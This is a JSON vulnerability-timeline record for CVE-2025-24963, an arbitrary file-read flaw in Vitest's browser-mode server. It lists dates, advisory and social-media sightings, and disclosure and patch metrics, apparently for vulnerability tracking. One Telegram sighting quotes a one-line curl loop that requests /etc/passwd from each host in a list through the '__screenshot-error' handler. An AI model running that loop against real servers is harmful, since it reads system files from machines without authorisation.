{"metadata": {"vulnerability": "CVE-2025-24963", "count": 25, "kinds": {"milestone": 4, "sighting": 13, "kev": 0, "other": 8}}, "data": [{"timestamp": "2025-01-29T15:18:03.209Z", "date_only": false, "value": "2025-01-29T15:18:03.209Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2025-24963", "field": "cveMetadata.dateReserved"}, {"timestamp": "2025-02-04T06:23:56Z", "date_only": false, "value": "2025-02-04T06:23:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "e1e3944a-9077-4777-9a22-fbc5f123ee90", "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-02-04T16:51:08Z", "date_only": false, "value": "2025-02-04T16:51:08Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8GVC-J273-4WM5", "record": "GHSA-8GVC-J273-4WM5", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-02-04T19:36:52.385Z", "date_only": false, "value": "2025-02-04T19:36:52.385Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2025-24963", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2025-02-04T19:36:52.385Z", "date_only": false, "value": "2025-02-04T19:36:52.385Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GitHub_M", "record": "CVE-2025-24963", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2025-02-04T19:44:40.367Z", "date_only": false, "value": "2025-02-04T19:44:40.367761Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2025-24963", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2025-02-04T19:44:40.367Z", "date_only": false, "value": "2025-02-04T19:44:40.367761Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-24963", "record": "FKIE_CVE-2025-24963", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2025-02-04T20:15:50Z", "date_only": false, "value": "2025-02-04T20:15:50Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-8GVC-J273-4WM5", "record": "GHSA-8GVC-J273-4WM5", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2025-02-04T20:15:50.330Z", "date_only": false, "value": "2025-02-04T20:15:50.330", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-24963", "record": "FKIE_CVE-2025-24963", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-02-04T20:16:12.108Z", "date_only": false, "value": "2025-02-04T20:16:12.108941Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lheur3fp7v2c", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "1f15e8d6-1cd7-45a7-a805-268a2c0436f7", "url": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lheur3fp7v2c"}, {"timestamp": "2025-02-04T22:03:47Z", "date_only": false, "value": "2025-02-04T22:03:47Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-8GVC-J273-4WM5", "record": "GHSA-8GVC-J273-4WM5", "field": "modified", "linked_record": true}, {"timestamp": "2025-02-04T22:15:12Z", "date_only": false, "value": "2025-02-04T22:15:12.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cvedetector/17229", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "8f0b5467-8cbb-49cb-ba13-f83597fbfc57", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24963 - Vitest Remote File Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-24963 \nPublished : Feb. 4, 2025, 8:15 p.m. | 59\u00a0minutes ago \nDescription : Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host: true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host: true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "url": "https://t.me/cvedetector/17229"}, {"timestamp": "2025-02-04T22:23:45.001Z", "date_only": false, "value": "2025-02-04T22:23:45.001250Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhf3uwufkd2z", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "9d6fc2e2-0214-44f3-ba78-bb80fd2cbc2d", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhf3uwufkd2z"}, {"timestamp": "2025-02-05T13:18:32Z", "date_only": false, "value": "2025-02-05T13:18:32.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-24963.yaml", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "22a9a22a-92a0-45b8-a89a-cb00941df761", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-24963.yaml"}, {"timestamp": "2025-02-10T21:02:01.841Z", "date_only": false, "value": "2025-02-10T21:02:01.841420Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhu24itt3h2o", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "c62d12dc-f42b-4c85-8f76-d22d59985011", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhu24itt3h2o"}, {"timestamp": "2025-02-12T20:51:28.011Z", "date_only": false, "value": "2025-02-12T20:51:28.011Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2025-24963", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-02-12T20:51:28.011Z", "date_only": false, "value": "2025-02-12T20:51:28.011Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2025-24963", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-02-12T22:58:21Z", "date_only": false, "value": "2025-02-12T22:58:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/codeb0ss/1686", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "7e4ad252-0194-4b2f-9aaf-4a68f2650cfd", "url": "https://t.me/codeb0ss/1686", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-01T12:37:26Z", "date_only": false, "value": "2025-04-01T12:37:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/suboxone_chatroom/7441", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "6bb43849-4407-43a2-9025-1a6324c2f10a", "content": "\ud83d\udea8 CVE-2025-24963 - Vitest Browser Mode Local File Read \ud83d\udea8\n\n\ud83d\udca5One Liner Exploit: \ncat file.txt | while read host; do curl -skL \"http://$host/__screenshot-error?file=/etc/passwd\" | grep -E \"root:.*:/bin/\" && echo \"$host is VULN\"; done", "url": "https://t.me/suboxone_chatroom/7441", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-23T21:00:07Z", "date_only": false, "value": "2025-04-23T21:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/m_VX8ITBtSBz-wC_458XeKLmc3TfY-HOZ02yPgCyfuW9sk0", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "8b4900a1-3004-4afb-9627-58bb334963e8", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-17T08:59:53.440Z", "date_only": false, "value": "2026-06-17T08:59:53.440", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-24963", "record": "FKIE_CVE-2025-24963", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-07-09T03:00:09.652Z", "date_only": false, "value": "2026-07-09T03:00:09.652897Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/1534", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "95b6c254-7ab9-4041-93cc-b624c468af30", "url": "https://t.me/brutsecurity/1534"}, {"timestamp": "2026-07-10T00:00:33.315Z", "date_only": false, "value": "2026-07-10T00:00:33.315282Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/1534", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "074c4cd5-532f-4fa8-ad24-780661d956b0", "url": "https://t.me/brutsecurity/1534"}, {"timestamp": "2026-07-11T14:00:03.721Z", "date_only": false, "value": "2026-07-11T14:00:03.721355Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/1534", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "ae32ac69-bd33-462b-91e9-51fcc9c4b3f7", "url": "https://t.me/brutsecurity/1534", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-12T00:00:47.526Z", "date_only": false, "value": "2026-07-12T00:00:47.526810Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/1534", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "10a703b3-92e7-48ae-8adb-e97bb04aa778", "url": "https://t.me/brutsecurity/1534", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}], "metrics": {"as_of": "2026-11-12T09:43:01.181Z", "anchors": {"origin": {"timestamp": "2025-02-04T16:51:08Z", "date_only": false, "value": "2025-02-04T16:51:08Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8GVC-J273-4WM5", "record": "GHSA-8GVC-J273-4WM5", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2025-02-04T16:51:08Z", "date_only": false, "value": "2025-02-04T16:51:08Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8GVC-J273-4WM5", "record": "GHSA-8GVC-J273-4WM5", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "exploit_publication": {"timestamp": "2025-02-04T06:23:56Z", "date_only": false, "value": "2025-02-04T06:23:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "e1e3944a-9077-4777-9a22-fbc5f123ee90", "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": -37632.0, "hours": -10.453333333333333, "days": -0.43555555555555553, "min_seconds": -37632.0, "max_seconds": -37632.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2025-02-04T16:51:08Z", "date_only": false, "value": "2025-02-04T16:51:08Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8GVC-J273-4WM5", "record": "GHSA-8GVC-J273-4WM5", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2025-02-04T06:23:56Z", "date_only": false, "value": "2025-02-04T06:23:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "e1e3944a-9077-4777-9a22-fbc5f123ee90", "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 55788713.181455, "hours": 15496.86477262639, "days": 645.7026988594329, "min_seconds": 55788713.181455, "max_seconds": 55788713.181455, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2025-02-04T16:51:08Z", "date_only": false, "value": "2025-02-04T16:51:08Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8GVC-J273-4WM5", "record": "GHSA-8GVC-J273-4WM5", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2026-11-12T09:43:01.181Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 55826345.181455, "hours": 15507.318105959723, "days": 646.1382544149884, "min_seconds": 55826345.181455, "max_seconds": 55826345.181455, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2025-02-04T06:23:56Z", "date_only": false, "value": "2025-02-04T06:23:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5", "record": "CVE-2025-24963", "field": "creation_timestamp", "uuid": "e1e3944a-9077-4777-9a22-fbc5f123ee90", "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-12T09:43:01.181Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}